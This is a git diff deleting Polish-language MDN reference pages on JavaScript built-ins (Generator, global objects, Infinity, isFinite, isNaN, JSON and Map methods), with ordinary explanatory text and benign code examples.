- - diff --git a/files/pl/web/javascript/referencje/obiekty/generator/index.html b/files/pl/web/javascript/referencje/obiekty/generator/index.html deleted file mode 100644 index 8d181f0dcc..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/generator/index.html +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: Generator -slug: Web/JavaScript/Referencje/Obiekty/Generator -translation_of: Web/JavaScript/Reference/Global_Objects/Generator ---- -
{{JSRef}}
- -

Obiekt Generator jest zwracany przez {{jsxref("Polecenia/function*", "generator function", "", 1)}} i odpowiada obu: iterable protocol i iterator protocol.

- -

Syntax

- -
function* gen() {
-  yield 1;
-  yield 2;
-  yield 3;
-}
-
-var g = gen(); // "Generator { }"
- -

Methods

- -
-
{{jsxref("Generator.prototype.next()")}}
-
Returns a value yielded by the {{jsxref("Operators/yield", "yield")}} expression.
-
{{jsxref("Generator.prototype.return()")}}
-
Returns the given value and finishes the generator.
-
{{jsxref("Generator.prototype.throw()")}}
-
Throws an error to a generator.
-
- -

Example

- -

An infinite iterator

- -
function* idMaker() {
-    var index = 0;
-    while(true)
-        yield index++;
-}
-
-var gen = idMaker(); // "Generator { }"
-
-console.log(gen.next().value); // 0
-console.log(gen.next().value); // 1
-console.log(gen.next().value); // 2
-// ...
- -

Legacy generator objects

- -

Firefox (SpiderMonkey) also implements an earlier version of generators in JavaScript 1.7, where the star (*) in the function declaration was not necessary (you just use the yield keyword in the function body). However, legacy generators are deprecated. Do not use them; they are going to be removed ({{bug(1083482)}}).

- -

Legacy generator methods

- -
-
Generator.prototype.next() {{non-standard_inline}}
-
Returns a value yielded by the {{jsxref("Operatory/yield", "yield")}} expression. This corresponds to next() in the ES2015 generator object.
-
Generator.prototype.close() {{non-standard_inline}}
-
Closes the generator, so that when calling next() an {{jsxref("StopIteration")}} error will be thrown. This corresponds to the return() method in the ES2015 generator object.
-
Generator.prototype.send() {{non-standard_inline}}
-
Used to send a value to a generator. The value is returned from the {{jsxref("Operatory/yield", "yield")}} expression, and returns a value yielded by the next {{jsxref("Operatory/yield", "yield")}} expression. send(x) corresponds to next(x) in the ES2015 generator object.
-
Generator.prototype.throw() {{non-standard_inline}}
-
Throws an error to a generator. This corresponds to the throw() method in the ES2015 generator object.
-
- -

Legacy generator example

- -
function fibonacci() {
-  var a = yield 1;
-  yield a * 2;
-}
-
-var it = fibonacci();
-console.log(it);          // "Generator {  }"
-console.log(it.next());   // 1
-console.log(it.send(10)); // 20
-console.log(it.close());  // undefined
-console.log(it.next());   // throws StopIteration (as the generator is now closed)
-
- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-generator-objects', 'Generator objects')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-generator-objects', 'Generator objects')}}{{Spec2('ESDraft')}} 
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(39.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(39.0)}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatChrome(39.0)}}
-
- -

See also

- -

Legacy generators

- - - -

ES2015 generators

- - diff --git a/files/pl/web/javascript/referencje/obiekty/index.html b/files/pl/web/javascript/referencje/obiekty/index.html deleted file mode 100644 index ebe6dfe63f..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/index.html +++ /dev/null @@ -1,193 +0,0 @@ ---- -title: Obiekty -slug: Web/JavaScript/Referencje/Obiekty -tags: - - Dokumentacja - - Dokumentacja_JavaScript - - Dokumentacje - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects ---- -
{{jsSidebar("Objects")}}
- -

W tym rozdziale opisano wszystkie standardowe obiekty wbudowane JavaScript, w tym ich metody i właściwości.

- -

Pojęcie "obiekty globalne" (lub standardowe obiekty wbudowane) tutaj nie są tym samym, co obiekt globalny, który  odnosi się do obiektów o zasięgu globalnym. Dostęp do obiektu globalnego można uzyskać za pomocą operatoa {{jsxref("Operatory/this", "this")}} w zakresie globalnym (ale tylko, jeśli nie jest właczony tryb ścisły ECMAScript 5. W trybie ścisłym, w takim przypadku zostanie zwrócona wartość  {{jsxref("undefined")}}). W rzeczywistości, zakres globalny składa się z własciwości obiektu globalnego, w tym właściwości dziedziczonych, jeśli istnieją.

- -

Innymi obiektami o zasięgu globalnym są obiekty tworzone w skryptach przez użytkowników albo dostarczane przez aplikacje hosta. Obiekty hosta dostępne w kontekście przeglądarki są opisane w  informatorze API. Więcej informacji o różnicach dzielących DOM i rdzeń JavaScript, znajdziesz we Przeglądzie technologii JavaScript.

- -

Obiekty standardowe wg kategorii

- -

Wartości

- -

Właściwości globalne zwracają proste wartości, które nie mają swoich własciwości ani metod

- - - -

Funkcje

- -

Należą tu funkcje globalne (wywoływane globalnie a nie w jakimś obiekcie), które  zwracają swoją wartość bezpośredni do wywołania.

- - - -

Obiekty podstawowe

- -

Są to  fundamentalne, podstawowe obiekty, stanowiące podstawę do tworzenia innych obiektów. Obejmuje to obiekty reprezentujace obiekty ogólne, funkcje i błędy.

- - - -

Liczby i daty

- -

Są to obiekty podstawowe reprezentujace liczby, daty i obliczenia matematyczne.

- - - -

Przetwarzanie tekstu

- -

Kategorie te tworzą obiekty reprezentujące łańcuchy i obsługujace manipulowanie łańcuchami.

- - - -

Indeksowane kolekcje

- -

Obiekty te reprezentują kolekcje danych, ktore są uporządkowane według wartości indeksu. Opejmuje to tablice, typowane tablice i konstrukcje podobne do tablic.

- - - -

Kolekcje z kluczami

- -

Są to obiekty reprezentujące kolekcje stosujace klucze. Zawierają elementy, które są iterowalne w kolejności estawiania.

- - - -

Kolekcje wektorowe

- -

Typy danych wektorowych {{Glossary("SIMD")}} są obiektami, w których dane formowane są w potoki.

- - - -

Dane strukturalne

- -

Obiekty tej kategorii reprezentują i współdziałają ze strukturyzowanymi buforami danych i danymi kodowymi uzywającymi notacji JSON (JavaScript Object Notation).

- - - -

Kontrola obiektów abstrakcyjnych

- - - -

Refleksy

- - - -

Internacjonalizacja

- -

Dodatki do jadra ECMAScript dla funkcji językowych.

- - - -

WebAssembly

- - - -

Pozostałe

- - diff --git a/files/pl/web/javascript/referencje/obiekty/infinity/index.html b/files/pl/web/javascript/referencje/obiekty/infinity/index.html deleted file mode 100644 index 7a2bd7ca45..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/infinity/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Infinity -slug: Web/JavaScript/Referencje/Obiekty/Infinity -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/Infinity ---- -
-
-
{{jsSidebar("Objects")}}
-
-
- -

Podsumowanie

- -

Wartość numeryczna reprezentująca nieskończoność.

- -

Składnia

- -
Infinity 
- -

Opis

- -

Infinity jest własnością najwyższego rzędu i nie jest przypisana do żadnego obiektu.

- -

Początkową wartością Infinity jest {{jsxref("Number.POSITIVE_INFINITY")}}.

- -

Wartość Infinity (+nieskończoność) jest większa niż jakakolwiek liczba. Wartość ta ma wszystkie cechy matematycznej nieskończoności; np. cokolwiek pomnożone przez Infinity jest równe Infinity, a cokolwiek podzielone przez Infinity jest równe 0.

- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/isfinite/index.html b/files/pl/web/javascript/referencje/obiekty/isfinite/index.html deleted file mode 100644 index 3b699e33c2..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/isfinite/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: isFinite() -slug: Web/JavaScript/Referencje/Obiekty/isFinite -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/isFinite ---- -
-
-
{{jsSidebar("Objects")}}
-
-
- -

Podsumowanie

- -

Przetwarza argument w celu stwierdzenia czy jest on liczbą skończoną.

- -

Składnia

- -
isFinite(liczba)
- -

Parametry

- -
-
liczba 
-
Liczba do przetworzenia.
-
- -

Opis

- -

isFinite() jest funkcją najwyższego poziomu, niepowiązaną z żadnym obiektem.

- -

Można użyć tej metody do określenia czy dana liczba jest skończona. Metoda isFinite() sprawdza liczbę podaną jako jej argument. Jeśli argument ma wartość {{jsxref("NaN")}} (nie jest liczbą), jest dodatnią lub ujemną nieskończonością, metoda ta zwraca false, w przeciwnym wypadku zwraca wartość true.

- -

Przykłady

- -
isFinite(Infinity);  // false
-isFinite(NaN);       // false
-isFinite(-Infinity); // false
-
-isFinite(0);         // true
-isFinite(2e64);      // true
-
-
-isFinite("0");       // true, would've been false with the
-                     // more robust Number.isFinite("0")
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/isnan/index.html b/files/pl/web/javascript/referencje/obiekty/isnan/index.html deleted file mode 100644 index f2730b9c00..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/isnan/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: isNaN() -slug: Web/JavaScript/Referencje/Obiekty/isNaN -tags: - - JavaScript -translation_of: Web/JavaScript/Reference/Global_Objects/isNaN ---- -

{{jsSidebar("Objects")}}

- -

Podsumowanie

- -

Sprawdza, czy argument nie ma wartości NaN ("nie-liczba").

- -

Składnia

- -
isNaN(testowanaWartość)
- -

Parametry

- -
-
testowanaWartość 
-
Wartość do sprawdzenia.
-
- -

Opis

- -

isNaN jest funkcją najwyższego rzędu i nie jest przypisana do żadnego obiektu.

- -

Funkcje parseFloat i parseInt zwracają NaN, kiedy wyliczą wartość, która nie jest liczbą. isNaN zwraca true, jeśli przekazano jej NaN, a false w przeciwnym wypadku.

- -

Funkcja ta jest o tyle przydatna, że wartości {{jsxref("NaN", "NaN")}} nie można skutecznie sprawdzać przy użyciu operatorów równości. x == NaN i x === NaN mają zawsze wartość false, bez względu na to, jaką wartość ma x, nawet jeśli x to NaN. Na przykład, zarówno 1 == NaN, jak i NaN == NaN zwracają false.

- -

Przykłady

- -

Przykład: Zastosowanie isNaN

- -

Poniższy przykład wylicza wartość floatValue, by sprawdzić, czy jest liczbą, a następnie wywołuje odpowiednią procedurę.

- -
var floatValue = parseFloat(toFloat);
-
-if (isNaN(floatValue)) {
-   notFloat();
-} else {
-   isFloat();
-}
-
- -

Zobacz także

- - diff --git a/files/pl/web/javascript/referencje/obiekty/json/index.html b/files/pl/web/javascript/referencje/obiekty/json/index.html deleted file mode 100644 index 7a4b6c0812..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/json/index.html +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: JSON -slug: Web/JavaScript/Referencje/Obiekty/JSON -tags: - - JSON - - JavaScript - - Obiekt -translation_of: Web/JavaScript/Reference/Global_Objects/JSON ---- -
{{JSRef}}
- -

Obiekt JSON zawiera metody do analizy składniowej JavaScript Object Notation ({{glossary("JSON")}}) i konwertowania wartości do formatu JSON. Nie może być on wywołany lub utworzony i oprócz jego dwóch metod, sam w sobie nie ma interesującej funkcjonalności .

- -

Różnice między językiem JavaScript i formatem JSON

- -

Format JSON jest składnią do serializowania obiektów, tablic, liczb, napisów, wartości logicznych oraz {{jsxref("null")}}. Bazuje na składni języka JavaScript, ale różni się od niego: nie każdy JavaScript to JSON.

- -

Obiekty i tablice: Nazwy właściwości muszą znajdować się w podwójnym cudzysłowie;  przecinki na końcach (trailing commas) nie są dozwolone.

- -

Liczby: Zera nieznaczące są zakazane. Po przecinku musi się znaleźć co najmniej jedna liczba. Wartości NaN i Infinity nie są wspierane.

- -

Każdy tekst w formacie JSON jest poprawnym wyrażeniem w języku JavaScript – ale wyłącznie w silnikach JavaScript, które mają zaimplementową możliwości, by wszystkie dokumenty w formacie JSON były zgodne ze standardem ECMA-262. W przeciwnym razie, znaki U+2028 (separator linii) i U+2029 (separator akapitów) są dozwolone w literałach znakowych i kluczach w formacie JSON, ale ich użycie w tym konteksie w języku JavaScript skutkuje zgłoszeniem błędu {{jsxref("SyntaxError")}}.

- -

Rozważmy przykład, gdzie funkcja {{jsxref("JSON.parse()")}} przetwarza poniższy literał znakowy jako obiekt JSON, a funkcja eval wykonuje go jako tekst w języku JavaScript:

- -
var code = '"\u2028\u2029"';
-JSON.parse(code); // działa poprawnie
-eval(code); // zgłasza błąd SyntaxError
-
- -

Inne różnice to zgoda wyłącznie na literały znakowe w podwójnym cudzysłowie, brak zabezpieczenia dla {{jsxref("undefined")}} lub komentarzy.

- -

Pełna składnia JSON

- -

Pełna składnia JSON jest następująca:

- -
JSON = null
-    or true or false
-    or JSONNumber
-    or JSONString
-    or JSONObject
-    or JSONArray
-
-JSONNumber = - PositiveNumber
-          or PositiveNumber
-PositiveNumber = DecimalNumber
-              or DecimalNumber . Digits
-              or DecimalNumber . Digits ExponentPart
-              or DecimalNumber ExponentPart
-DecimalNumber = 0
-             or OneToNine Digits
-ExponentPart = e Exponent
-            or E Exponent
-Exponent = Digits
-        or + Digits
-        or - Digits
-Digits = Digit
-      or Digits Digit
-Digit = 0 through 9
-OneToNine = 1 through 9
-
-JSONString = ""
-          or " StringCharacters "
-StringCharacters = StringCharacter
-                or StringCharacters StringCharacter
-StringCharacter = any character
-                  except " or \ or U+0000 through U+001F
-               or EscapeSequence
-EscapeSequence = \" or \/ or \\ or \b or \f or \n or \r or \t
-              or \u HexDigit HexDigit HexDigit HexDigit
-HexDigit = 0 through 9
-        or A through F
-        or a through f
-
-JSONObject = { }
-          or { Members }
-Members = JSONString : JSON
-       or Members , JSONString : JSON
-
-JSONArray = [ ]
-         or [ ArrayElements ]
-ArrayElements = JSON
-             or ArrayElements , JSON
-
- -

Nieznaczące białe znaki nie mogą występować tylko wewnątrz JSONNumber (liczby nie mogą zawierać białych znaków) oraz JSONString (gdzie jest to interpretowane jako odpowiedni znak w litarale znakowym lub może spowodować błąd). Tabulacja pozioma (U+0009), powrót karetki (U+000D), nowa linia (U+000A) oraz spacja (U+0020) to jedyne prawidłowe białe znaki.

- -

Metody

- -
-
{{jsxref("JSON.parse()")}}
-
Parsuje literał znakowy na JSON, opcjonalnie przekształca otrzymaną wartosć i ją zwraca. Każde naruszenie składni JSON, wliczając w różnice między językiem JavaScript i JSON, powodują zgłosznie błędu {{jsxref("SyntaxError")}}. Opcja reviver pozwala zinterpretować, co replacer użył zamiast innych typów danych.
-
{{jsxref("JSON.stringify()")}}
-
Zwraca literał znakowy JSON odpowiadający określonej wartosci, ewentualnie zawierający jedynie niektóre wartości lub ze zamienionymi wartościami w sposób zdefinowany przez użytkownika. Domyślnie, wszystkie instance {{jsxref("undefined")}} są zastępowane przez {{jsxref("null")}} i inne niewspierane typy danych są ocenzurowywane. Opcja replacer pozwala określić inne zachowanie.
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES5.1', '#sec-15.12', 'JSON')}}{{Spec2('ES5.1')}}Initial definition.
{{SpecName('ES6', '#sec-json-object', 'JSON')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-json-object', 'JSON')}}{{Spec2('ESDraft')}}
- -

Kompatybilność

- -
-
- - -

{{Compat("javascript.builtins.JSON")}}

-
-
- -

Zobacz także

- - - -

Tools

- - diff --git a/files/pl/web/javascript/referencje/obiekty/map/clear/index.html b/files/pl/web/javascript/referencje/obiekty/map/clear/index.html deleted file mode 100644 index a4e7374127..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/map/clear/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Map.prototype.clear() -slug: Web/JavaScript/Referencje/Obiekty/Map/clear -tags: - - ECMAScript 2015 - - JavaScript - - Mapa - - Metodă - - Prototyp -translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear ---- -
{{JSRef}}
- -

Metoda clear() usuwa wszystkie elementy z obiektu Map.

- -
var map1 = new Map();
-
-map1.set('bar', 'baz');
-map1.set(1, 'foo');
-
-console.log(map1.size);
-// wartość zwracana: 2
-
-map1.clear();
-
-console.log(map1.size);
-// wartość zwracana: 0
-
- -

Składnia

- -
myMap.clear();
- -

Zwracana wartość

- -

{{jsxref("undefined")}}.

- -

Przykłady

- -

Używanie metody clear

- -
var myMap = new Map();
-myMap.set('bar', 'baz');
-myMap.set(1, 'foo');
-
-myMap.size;       // 2
-myMap.has('bar'); // true
-
-myMap.clear();
-
-myMap.size;       // 0
-myMap.has('bar')  // false
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.clear', 'Map.prototype.clear')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarkami

- - - -

{{Compat("javascript.builtins.Map.clear")}}

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/map/delete/index.html b/files/pl/web/javascript/referencje/obiekty/map/delete/index.html deleted file mode 100644 index 2016e577f8..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/map/delete/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Map.prototype.delete() -slug: Web/JavaScript/Referencje/Obiekty/Map/delete -tags: - - Mapa - - Metodă -translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete ---- -
{{JSRef}}
- -

Metoda delete() usuwa określony element z obiektu Map.

- -
var map1 = new Map();
-map1.set('bar', 'foo');
-
-console.log(map1.delete('bar'));
-// oczekiwany wynik: true
-// (true wskazuje na poprawne usunięcie)
-
-console.log(map1.has('bar'));
-// oczekiwany wynik: false
-
- -

Składnia

- -
myMap.delete(key);
- -

Parametery

- -
-
key
-
Wymagany. Klucz elementu, który ma zostać usunięty z obiektu Map.
-
- -

Zwracana wartość

- -
-
Boolean
-
Zwraca true, jeśli element w Map istniał i został usunięty lub false, jeśli nie.
-
- -

Przykłady

- -

Używanie metody delete

- -
var myMap = new Map();
-myMap.set('bar', 'foo');
-
-myMap.delete('bar'); // Zwraca true. Udało się usunąć.
-myMap.has('bar');    // Zwraca false. Element "bar" już nie istnieje.
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.delete', 'Map.prototype.delete')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarkami

- - - -

{{Compat("javascript.builtins.Map.delete")}}

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/map/entries/index.html b/files/pl/web/javascript/referencje/obiekty/map/entries/index.html deleted file mode 100644 index 97c049b150..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/map/entries/index.html +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Map.prototype.entries() -slug: Web/JavaScript/Referencje/Obiekty/Map/entries -tags: - - ECMAScript2015 - - Iterator - - JavaScript - - Mapa - - Metodă - - Prototyp -translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries ---- -
{{JSRef}}
- -

Metoda entries() zwraca nowy obiekt typu Iterator który zawiera pary[klucz, wartość] dla każdego elementu Mapy. Można się do nich odnieść w takiej kolejności, jakiej zostały wstawione.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-entries.html")}}
- - - -

Składnia

- -
myMap.entries()
- -

Zwracana wartość

- -

Nowy iterator obiektu typu {{jsxref("Map")}}.

- -

Przykłady

- -

Używanie entries()

- -
var myMap = new Map();
-myMap.set('0', 'foo');
-myMap.set(1, 'bar');
-myMap.set({}, 'baz');
-
-var mapIter = myMap.entries();
-
-console.log(mapIter.next().value); // ["0", "foo"]
-console.log(mapIter.next().value); // [1, "bar"]
-console.log(mapIter.next().value); // [Object, "baz"]
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.entries', 'Map.prototype.entries')}}{{Spec2('ES2015')}}Początkowa definicja.
{{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarkami

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support38{{CompatVersionUnknown}}{{ CompatGeckoDesktop("20") }}{{CompatNo}}257.1
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}38{{CompatVersionUnknown}}{{CompatGeckoMobile("20")}}{{CompatNo}}{{CompatNo}}8
-
- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/map/foreach/index.html b/files/pl/web/javascript/referencje/obiekty/map/foreach/index.html deleted file mode 100644 index 7280020397..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/map/foreach/index.html +++ /dev/null @@ -1,104 +0,0 @@ ---- -title: Map.prototype.forEach() -slug: Web/JavaScript/Referencje/Obiekty/Map/forEach -tags: - - ECMAScript2015 - - JavaScript - - Mapa - - Metodă - - Prototyp -translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach ---- -
{{JSRef}}
- -

Metoda forEach() wykonuje dostarczoną funcję callback raz dla każdej pary klucz-wartosć Mapy w kolejności, w jakiej zostały zostały wstawione.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-foreach.html")}}
- - - -

Składnia

- -
myMap.forEach(callback[, thisArg])
- -

Parametry

- -
-
callback
-
Funkcja wykonywana dla każdego elementu.
-
thisArg
-
Wartość przypisywana do this poczas wywołania zwrotnego (funkcja callback).
-
- -

Zwracana wartosć

- -

{{jsxref("undefined")}}.

- -

Opis

- -

Metoda forEach wykonuje dostarczoną funkcję callback raz dla każdego klucza mapy, który istnieje. Nie jest wywoływana dla usuniętych kluczy, ale dla istniejących z wartością undefined już tak.

- -

Funkcja callback przyjmuje trzy argumenty:

- - - -

Jeśli argument thisArg jest dostarczony do forEach, zostaje przekazany do fukncji callback podczas jej wywołania, jako jej własna wartość this.  W przeciwnym wypadku, this przyjmuje wartość undefined

- -

Każda wartość jest odwiedzana raz, oprócz przypadku, gdzie została usunięta, a następnie dodana ponownie, nim metoda forEach zakończyła swoje działanie. Funkcja callback nie jest wywoływana dla wartości usuniętych przed ich odwiedzeniem. Nowe wartości dodane jeszcze przed zakończeniem forEach zostaną odwiedzone.

- -

Metoda forEach nie zwraca żadnej wartości.

- -

Przykłady

- -

Wyświetlanie zawartości Mapy

- -

Poniższy kod wyświetla jedną linię dla każdej pary klucz-wartość Mapy:

- -
function logMapElements(value, key, map) {
-    console.log(`m[${key}] = ${value}`);
-}
-new Map([['foo', 3], ['bar', {}], ['baz', undefined]]).forEach(logMapElements);
-// logs:
-// "m[foo] = 3"
-// "m[bar] = [object Object]"
-// "m[baz] = undefined"
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarkami

- - - -

{{Compat("javascript.builtins.Map.forEach")}}

- -

See also

- - diff --git a/files/pl/web/javascript/referencje/obiekty/map/get/index.html b/files/pl/web/javascript/referencje/obiekty/map/get/index.html deleted file mode 100644 index a8cb900ed7..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/map/get/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Map.prototype.get() -slug: Web/JavaScript/Referencje/Obiekty/Map/get -tags: - - ECMAScript 2015 - - JavaScript - - Mapa - - Metodă - - Prototyp -translation_of: Web/JavaScript/Reference/Global_Objects/Map/get ---- -
{{JSRef}}
- -

Metoda get() zwraca podany element Mapy.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-get.html")}}
- - - -

Składnia

- -
myMap.get(key);
- -

Parametry

- -
-
key
-
Wymagany. Klucz elementu, który ma zostać zwrócony.
-
- -

Zwracana wartość

- -

Element powiązany z danym kluczym lub undefined, jeśli klucz nie został odnaleziony.

- -

Przykłady

- -

Używanie metody get

- -
var myMap = new Map();
-myMap.set('bar', 'foo');
-
-myMap.get('bar');  // zwraca "foo".
-myMap.get('baz');  // zwraca undefined.
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.get', 'Map.prototype.get')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-map.prototype.get', 'Map.prototype.get')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarkami

- - - -

{{Compat("javascript.builtins.Map.get")}}

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/map/has/index.html b/files/pl/web/javascript/referencje/obiekty/map/has/index.html deleted file mode 100644 index 14bf4f71dc..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/map/has/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Map.prototype.has() -slug: Web/JavaScript/Referencje/Obiekty/Map/has -tags: - - ECMAScript 2015 - - JavaScript - - Mapa - - Metodă - - Prototyp -translation_of: Web/JavaScript/Reference/Global_Objects/Map/has ---- -
{{JSRef}}
- -

Metoda has() zwraca Boolean, który określa czy element o podanym kluczu istnieje.

- -
{{EmbedInteractiveExample("pages/js/map-prototype-has.html")}}
- - - -

Składnia

- -
myMap.has(key);
- -

Parametry

- -
-
key
-
Wymagany. Klucz elementu, którego istnienie w Mapie zostanie sprawdzone.
-
- -

Zwracana wartość

- -
-
Boolean
-
-

true, jeśli dany element istnieje w Mapie - w przeciwnym wypadku false.

-
-
- -

Przykłady

- -

Używanie metody has

- -
var myMap = new Map();
-myMap.set('bar', "foo");
-
-myMap.has('bar');  // zwraca true
-myMap.has('baz');  // zwraca false
-
- -

Specyfikacja

- - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.has', 'Map.prototype.has')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-map.prototype.has', 'Map.prototype.has')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność z przeglądarkami

- - - -

{{Compat("javascript.builtins.Map.has")}}

- -

Zobacz również

- - diff --git a/files/pl/web/javascript/referencje/obiekty/map/index.html b/files/pl/web/javascript/referencje/obiekty/map/index.html deleted file mode 100644 index 8c0a9833eb..0000000000 --- a/files/pl/web/javascript/referencje/obiekty/map/index.html +++ /dev/null @@ -1,458 +0,0 @@ ---- -title: Map -slug: Web/JavaScript/Referencje/Obiekty/Map -tags: - - ECMAScript 2015 - - JavaScript - - Map -translation_of: Web/JavaScript/Reference/Global_Objects/Map ---- -
{{JSRef}}
- -

Map jest prostym obiektem mapującym klucze na wartości. Każdy element (zarówno obiekt jak i {{Glossary("Primitive", "wartości proste")}}) mogą być użyte zarówno jako klucz jak i wartość.

- -

Składnia

- -
new Map([iterable])
- -

Parametry

- -
-
iterable
-
Iterable jest tablicą lub innym iterowalnym obiektem, którego elementy są parami typu klucz-wartość (np. 2 elementowa tablica). Każda para klucz-wartość jest dodawana do obiektu new Map. null jest traktowane jako undefined.
-
- -

Opis

- -

Obiekt Map iteruje swoje elementy we wprowadzonej kolejności — pętla {{jsxref("Statements/for...of", "for...of")}} zwraca tablicę  [key, value] dla każdej iteracji.

- -

Należy pamiętać, że kolejność iteracji dla Map mapującej obiekty, w szczególności np. dla słownika słowników, odzwieciedlać będzie jedynie kolejność dodawania obiektów do kolekcji, natomiast kolejność dodawania elementów do samych obiektów nie jest gwarantowana i powinna być traktowana jako losowa.

- -

Równość kluczy

- -

Klucze porównywane są według algorytmu "same-value" (tej samej wartości).

- -

NaN jest traktowana jako równa NaN (mimo tego, że NaN !== NaN). Wszystkie inne wartości są uważane za równe zgodnie z semantyką ===  operatora równości.

- -

W obecnej specyfikacji ECMAScript -0 === +0, choć wcześniejsze propozycje zakładały inne zachowanie, co zaowocowało implementacją w niektórych wersjach przeglądarek. Szczegóły zawarte są w  "Value equality for -0 and 0"  w tabeli kompatybilności przeglądarek.

- -

Porównanie Obiektów i Map

- -

{{jsxref("Object", "Obiekty")}} są podobne do Map. W obu przypadkach pozwalają ustawić klucze dla wartości, zwracają te wartości, usuwają klucze i wykrywają czy coś jest przechowywane jako klucz. Z tego powodu (i ponieważ nie było innych wbudowanych alternatyw), Object  był używany wcześniej jako Map. Istnieją jednak ważne różnice pomiędzy Obiektami i Mapami, które powodują, że Map jest lepszym wyborem w pewnych przypadkach:

- - - -

Nie oznacza to, że powinno się używać Maps wszędzie. Obiekty są wciąż używane w większości przypadków.  Instancje Map są użyteczne dla kolekcji, warto rozważyć ich zaadaptowanie jedynie w przypadkach, gdy wcześniej używano dla nich obiektów. Obiekty powinny być używane jako rejestr z polami i metodami. Jeśli wciąż nie jesteś pewien czego użyć, pomocne mogą okazać się poniższe pytania:

- - - -

